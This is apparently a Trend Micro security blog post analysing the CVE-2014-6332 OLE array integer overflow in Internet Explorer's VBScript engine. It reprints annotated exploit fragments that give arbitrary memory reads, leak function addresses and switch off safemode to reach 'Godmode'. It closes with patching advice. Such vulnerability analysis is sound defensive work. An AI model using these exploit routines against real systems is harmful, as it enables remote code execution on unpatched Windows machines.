A Killer Combo: Critical Vulnerability and ‘Godmode’ Exploitation on CVE-2014-6332

Microsoft released 16 security updates during its Patch Tuesday release for November 2014, among which includes CVE-2014-6332, or the Windows OLE Automation Array Remote Code Execution Vulnerability (covered in MS14-066). We would like to bring attention to this particular vulnerability for the following reasons:

It impacts almost all Microsoft Windows platforms from Windows 95 onward.
A stable exploit exists and works well in Internet Explorer 3 to version 11, and can bypass operating system (OS) security utilities such as Enhanced Mitigation Experience Toolkit (EMET), Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR),and Control-Flow Integrity (CFI).
The exploit’s proof of concept (PoC) has recently been published by a Chinese researcher named Yuange1975.
Based on the PoC, it’s fairly simple to write malicious VBScript code for attacks.
Attackers may soon utilize the PoC to target unpatched systems

About the CVE-2014-6332 Vulnerability

The bug is caused by improper handling resizing an array in the Internet Explorer VBScript engine, VBScript is the default scripting language in ASP (Active Server Pages). Other browsers like Google Chrome don’t support VBScript any more, but Internet Explorer still supports it via a legacy engine for compatibility consideration. The details are as follows.

An array has the following structure in IE VBScript engine:

typedef struct tagSAFEARRAY
{
USHORT cDims;
USHORT fFeatures;
ULONG cbElements;
ULONG cLocks;
PVOID pvData;
SAFEARRAYBOUND rgsabound[ 1 ];
} SAFEARRAY;

typedef struct tagSAFEARRAYBOUND
{
ULONG cElements;
LONG lLbound;
} SAFEARRAYBOUND;

pvData is a pointer to address of the array, and rgsabound [0].cElements stands for the numbers of elements in the array.

Each element is a structure Var, whose size is 0×10:

Var
{
0×00: varType
0×04: padding
0×08: dataHigh
0x0c: dataLow
}

A bug may occur upon redefining an array with new length in VBScript, such as:

redim aa(a0)
…
redim Preserve aa(a1)
VBScript engine will call function OLEAUT32!SafeArrayRedim(), whose arguments are:
First: ppsaOUT //the safeArray address
Second: psaboundNew //the address of SAFEARRAY, which contains the new
//number of elements: arg_newElementsSize

Figure 1. Code of function SafeArrayRedim()

The function SafeArrayRedim() does the following steps (pseudo code):

Get the size of old array: oldSize= arg_pSafeArray-> cbElements*0×10
Set the new number to the array: arg_pSafeArray-> rgsabound[0].cElements = arg_newElementsSize
Get the size of new array: newSize = arg_newElementsSize*0×10
Get the difference: sub = newSize – oldSize
If sub > 0, goto bigger_alloc (this branch has no problem)
If sub < 0, goto less_alloc to reallocate memory by function ole32!CRetailMalloc_Realloc()
In this case, go this branch. Though sub > 0×8000000 as unsigned integer, sub is treated as negative value here because opcode jge works on signed integer.

Here is the problem: integer overflow (singed/unsigned)

cElements is used as unsigned integer; oldsize, newsize, sub is used as unsigned integer
sub is treated as signed integer in opcode jge comparision

The Dangerous PoC Exploit

This critical vulnerability can be triggered in a simple way. For VBScript engine, there is a magic exploitation method called “Godmode”. With “Godmode,” arbitrary code written in VBScript can break browser sandbox’s restriction. Attackers need not to write shellcode and ROP and as such, DEP and ALSR protection is naturally useless here.

Because we can do almost everything by VBScript in “Godmode,” a file infector payload is not necessary in this situation. This makes it easy to evade the detections on heap spray, Return Oriented Programming (ROP), shellcode, or a file infector payload.

In the next sections, we’ll see more details on how the reliable PoC works.

Exploiting the vulnerability

Firstl, the exploit PoC does type confusion by the bug. It defines two arrays: aa and ab, and then resizes aa with a huge number.

a0=a0+a3
a1=a0+2
a2=a0+&h8000000
redim Preserve aa(a0)
redim ab(a0)
redim Preserve aa(a2)

Because the type of array aa and ab are same, and the elements number is equal, it’s possible to have the array memory layout as following:

Figure 2. Expected memory layout of array aa, ab

When “redim Preserve aa(a2)” ,a2 = a0+&h8000000, it has chances to trigger the vulnerability. And then, the out-of-bound element of aa is accessible. The PoC then uses it to do type confusion on element of ab.

But the memory layout does not always meet the expectation, and the bug may not be triggered every time. So the PoC tries many times to meet the following condition:

The address of ab(b0) is a pointer to the type field (naturally, b0=0 here)
The address of aa(a0) is a pointer to the data high field of ab(b0)

Which means: address( aa(a0) ) is equal to address( ab(b0) ) + 8

Figure 3. Memory layout the conditions meet

Then, modifying the ab(b0) data high field equals to modifying the aa(a0) type field — typeconfusion.

Secondly, the PoC makes any memory readable by the type confusion.

Function readmem(add)
On Error Resume Next
ab(b0)=0           // type of aa(a0) is changed to int
aa(a0)=add+4    // the high data of aa(a0) is set to add+4
ab(b0)=1.69759663316747E-313 // thisis 0×0000000800000008
// now, type of aa(a0) is changed to bstr
readmem=lenb(aa(a0))   // length of bstr stores in pBstrBase-4
// lenb(aa(a0)) = [pBstrBase-4] = [add+4-4]
ab(b0)=0
end function

The abovementioned function can return any [add], which is used to enter “Godmode.”

Enter “Godmode”

We know that VBScript can be used in browsers or local shell. When used in the browser, its behavior is restricted, but the restriction is controlled by some flags. That means, if the flags are modified, VBScript in HTML can do everything as in the local shell. That way, attackers can write malicious code in VBScript easily, which is known as “Godmode.”

The following function in the PoC exploit is used to enter “Godmode”. The said flags exists in :”the object COleScript. If the address of COleScript is retrieved, the flags can be modified.

function setnotsafemode()
On Error Resume Next
i=mydata()
i=readmemo(i+8) // get address of CScriptEntryPoint which includes pointer to COleScript
i=readmemo(i+16) // get address of COleScript which includes pointer the said safemode flags
j=readmemo(i+&h134)
for k=0 to &h60 step 4 // for compatibility of different IE versions
j=readmemo(i+&h120+k)
if(j=14) then
j=0
redim Preserve aa(a2)
aa(a1+2)(i+&h11c+k)=ab(4) // change safemode flags
redim Preserve aa(a0)
j=0
j=readmemo(i+&h120+k)
Exit for
end if
next
ab(2)=1.69759663316747E-313
runmumaa()
end function

Here, function mydata() can return a variable of function object, which includes pointer to CScriptEntryPoint. Then we raise a question: If the address of a function object is not accessible by VBScript, how does the PoC make it? The following function shows a smart trick in this PoC:

function mydata()
On Error Resume Next
i=testaa
i=null
redim Preserve aa(a2)
ab(0)=0
aa(a1)=i
ab(0)=6.36598737437801E-314
aa(a1+2)=myarray
ab(2)=1.74088534731324E-310
mydata=aa(a1)
redim Preserve aa(a0)
end function

The key is in the first three lines of the function:

i=testaa

We know that we cannot get the address of a function object in VBScript. This code seems to be nonsense. But let’s see the call stack when executing it.

Before the above line, the stack is empty. First, VM translates testaa as function, and puts its address into the stack. Second, VM translates the address of i, and tries assignment operation. But VM finds that the type in stack is function object. So it returns an error and enter error handling. Because “On Error Resume Next” is set in function mydata(), VM will continue the next sentence even when the error occurs.

i=null

For this line, VM translates “null” first. For “null”, VM will not put a data into stack. Instead, it only changes the type of the last data in stack to 0×1!! Then VM assigns it to i, — that’s just the address of function testaa(), though the type of i is VT_NULL.

The abovementioned lines are used to leak the address of function testaa() from a VT_NULL type.

Conclusion

The “Godmode” of legacy VBScript engine is the most dangerous risk in Internet Explorer. If a suitable vulnerability is found, attackers can develop stable exploits within small effort. CVE-2014-6322 is just one of vulnerabilities the most easily to do that. Fortunately, Microsoft has released patch for that particular CVE, but we still expect Microsoft to provide direct fix for “Godmode,” in the same way Chrome abandoned support for VBScript.

In addition, this vulnerability is fairly simple to exploit and to bypass all protection to enter into VBScript GodMode(), which in turn can make attackers ‘super user’ thus having full control on the system. Attackers do not necessarily need shellcode to compromise their targets.

And because the affected Microsoft Windows platform is very broad, some of which are no longer supported by Microsoft (such as Windows 95 and Windows XP among others), this poses serious security risks, rendering them vulnerable to such exploit in the absence of patch. This vulnerability is very rare since it affects almost OS versions and at the same time the exploit is advanced that it bypasses all Microsoft protection including dep+aslr+emet+cfi. With this killer combination of advanced exploitation technique and wide arrayed of affected platforms, there’s a high possibility that attackers may leverage this in their future attacks.

Solutions and Recommendations

We highly recommend users to implement the following best practices:

Install Microsoft patches immediately. Using any other browser apart from Internet Explorer before patching may also mitigate the risks
We advise users also to employ newer versions of Windows platforms, supported by Microsoft.

Trend Micro™ Deep Discovery and Trend Micro™ Deep Security and Office Scan Intrusion Defense Firewall (IDF) plugin are our recommended solutions for enterprises and home users to defend their systems against these types of attacks. Deep Discovery has sandbox technology to detect similar attacks according to their behavior, while Deep Security rule DSRU14-035 covers the CVE-2014-6332 vulnerability. For more information on the support for all vulnerabilities disclosed in this month’s Patch Tuesday, go to our Threat Encyclopedia page.

Post from: Trendlabs Security Intelligence Blog – by Trend Micro

A Killer Combo: Critical Vulnerability and ‘Godmode’ Exploitation on CVE-2014-6332